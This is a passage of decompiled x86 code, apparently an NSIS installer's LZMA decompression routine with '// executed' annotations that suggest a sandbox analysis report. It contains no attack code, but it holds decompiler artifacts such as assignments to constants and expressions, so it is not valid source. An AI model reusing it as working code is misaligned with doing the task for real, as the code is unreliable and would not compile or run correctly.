									switch( *((intOrPtr*)(_t538 * 4 +  &M00406A77))) {
										case 0:
											L3:
											if( *(_t644 - 0x6c) == 0) {
												goto L170;
											}
											L4:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											_t538 =  *( *(_t644 - 0x70));
											if(_t538 > 0xe1) {
												goto L171;
											}
											L5:
											_t542 = _t538 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t581);
											_push(9);
											_pop(_t582);
											_t638 = _t542 / _t581;
											_t544 = _t542 % _t581 & 0x000000ff;
											asm("cdq");
											_t633 = _t544 % _t582 & 0x000000ff;
											 *(_t644 - 0x3c) = _t633;
											 *(_t644 - 0x1c) = (1 << _t638) - 1;
											 *((intOrPtr*)(_t644 - 0x18)) = (1 << _t544 / _t582) - 1;
											_t641 = (0x300 << _t633 + _t638) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t644 - 0x78))) {
												L10:
												if(_t641 == 0) {
													L12:
													 *(_t644 - 0x48) =  *(_t644 - 0x48) & 0x00000000;
													 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t641 = _t641 - 1;
													 *((short*)( *(_t644 - 4) + _t641 * 2)) = 0x400;
												} while (_t641 != 0);
												goto L12;
											}
											L6:
											if( *(_t644 - 4) != 0) {
												GlobalFree( *(_t644 - 4));
											}
											_t538 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t644 - 4) = _t538;
											if(_t538 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t644 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t644 - 0x6c);
											if( *(_t644 - 0x6c) == 0) {
												L157:
												 *(_t644 - 0x88) = 1;
												goto L170;
											}
											L14:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x40) =  *(_t644 - 0x40) | ( *( *(_t644 - 0x70)) & 0x000000ff) <<  *(_t644 - 0x48) << 0x00000003;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											_t45 = _t644 - 0x48;
											 *_t45 =  *(_t644 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t644 - 0x48) < 4) {
												goto L13;
											}
											L16:
											_t550 =  *(_t644 - 0x40);
											if(_t550 ==  *(_t644 - 0x74)) {
												L20:
												 *(_t644 - 0x48) = 5;
												 *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) =  *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											L17:
											 *(_t644 - 0x74) = _t550;
											if( *(_t644 - 8) != 0) {
												GlobalFree( *(_t644 - 8)); // executed
											}
											_t538 = GlobalAlloc(0x40,  *(_t644 - 0x40)); // executed
											 *(_t644 - 8) = _t538;
											if(_t538 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t557 =  *(_t644 - 0x60) &  *(_t644 - 0x1c);
											 *(_t644 - 0x84) = 6;
											 *(_t644 - 0x4c) = _t557;
											_t642 =  *(_t644 - 4) + (( *(_t644 - 0x38) << 4) + _t557) * 2;
											goto L132;
										case 3:
											L21:
											__eflags =  *(_t644 - 0x6c);
											if( *(_t644 - 0x6c) == 0) {
												L158:
												 *(_t644 - 0x88) = 3;
												goto L170;
											}
											L22:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											_t67 = _t644 - 0x70;
											 *_t67 =  &(( *(_t644 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
											L23:
											 *(_t644 - 0x48) =  *(_t644 - 0x48) - 1;
											if( *(_t644 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t559 =  *_t642;
											_t626 = _t559 & 0x0000ffff;
											_t596 = ( *(_t644 - 0x10) >> 0xb) * _t626;
											if( *(_t644 - 0xc) >= _t596) {
												 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t596;
												 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t596;
												 *(_t644 - 0x40) = 1;
												_t560 = _t559 - (_t559 >> 5);
												__eflags = _t560;
												 *_t642 = _t560;
											} else {
												 *(_t644 - 0x10) = _t596;
												 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
												 *_t642 = (0x800 - _t626 >> 5) + _t559;
											}
											if( *(_t644 - 0x10) >= 0x1000000) {
												goto L139;
											} else {
												goto L137;
											}
										case 5:
											L137:
											if( *(_t644 - 0x6c) == 0) {
												L168:
												 *(_t644 - 0x88) = 5;
												goto L170;
											}
											L138:
											 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
											L139:
											_t537 =  *(_t644 - 0x84);
											L140:
											 *(_t644 - 0x88) = _t537;
											goto L1;
										case 6:
											L25:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L36:
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											L26:
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												L35:
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												L32:
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											L66:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												L68:
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											L67:
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											goto L132;
										case 8:
											L70:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xa;
												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
											} else {
												__eax =  *(__ebp - 0x38);
												__ecx =  *(__ebp - 4);
												__eax =  *(__ebp - 0x38) + 0xf;
												 *(__ebp - 0x84) = 9;
												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
											}
											goto L132;
										case 9:
											L73:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L90;
											}
											L74:
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											L75:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t259 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t259;
											0 | _t259 = _t259 + _t259 + 9;
											 *(__ebp - 0x38) = _t259 + _t259 + 9;
											goto L76;
										case 0xa:
											L82:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L84:
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											L83:
											__eax =  *(__ebp - 0x28);
											goto L89;
										case 0xb:
											L85:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L89:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L90:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L99:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L164:
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											L100:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t334 = __ebp - 0x70;
											 *_t334 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t334;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L101;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L159:
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											L38:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											L40:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												L45:
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L160:
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											L47:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												L49:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													L53:
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L161:
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											L59:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												L65:
												goto L58;
											}
										case 0x10:
											L109:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L165:
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											L110:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t365 = __ebp - 0x70;
											 *_t365 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t365;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L111;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											goto L132;
										case 0x12:
											L128:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L131:
												__eax =  *(__ebp - 0x58);
												 *(__ebp - 0x84) = 0x13;
												__esi =  *(__ebp - 0x58) + 2;
												L132:
												 *(_t644 - 0x54) = _t642;
												goto L133;
											}
											L129:
											__eax =  *(__ebp - 0x4c);
											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											__eflags = __eax;
											__eax =  *(__ebp - 0x58) + __eax + 4;
											goto L130;
										case 0x13:
											L141:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L143:
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												L144:
												 *((intOrPtr*)(__ebp - 0x7c)) = 0x14;
												L145:
												 *(_t644 - 0x50) = 1;
												 *(_t644 - 0x48) =  *(_t644 - 0x40);
												goto L149;
											}
											L142:
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											L130:
											 *(__ebp - 0x58) = __eax;
											 *(__ebp - 0x40) = 3;
											goto L144;
										case 0x14:
											L156:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											while(1) {
												L140:
												 *(_t644 - 0x88) = _t537;
												goto L1;
											}
										case 0x15:
											L91:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L120;
										case 0x16:
											goto L0;
										case 0x17:
											while(1) {
												L145:
												 *(_t644 - 0x50) = 1;
												 *(_t644 - 0x48) =  *(_t644 - 0x40);
												goto L149;
											}
										case 0x18:
											goto L146;
										case 0x19:
											L94:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												L98:
												 *(__ebp - 0x2c) = __ebx;
												L119:
												_t393 = __ebp - 0x2c;
												 *_t393 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t393;
												L120:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													L166:
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												L121:
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												L122:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t400 = __ebp - 0x60;
												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t400;
												goto L123;
											}
											L95:
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												L97:
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L102:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													L107:
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L108:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L112:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														L118:
														_t391 = __ebp - 0x2c;
														 *_t391 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t391;
														goto L119;
													}
													L113:
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L111:
														_t368 = __ebp - 0x48;
														 *_t368 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t368;
														goto L112;
													} else {
														L117:
														goto L109;
													}
												}
												L103:
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L101:
													_t338 = __ebp - 0x48;
													 *_t338 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t338;
													goto L102;
												} else {
													L106:
													goto L99;
												}
											}
											L96:
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L108;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												L162:
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											L57:
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L80;
										case 0x1b:
											L76:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												L163:
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											L77:
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t275 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
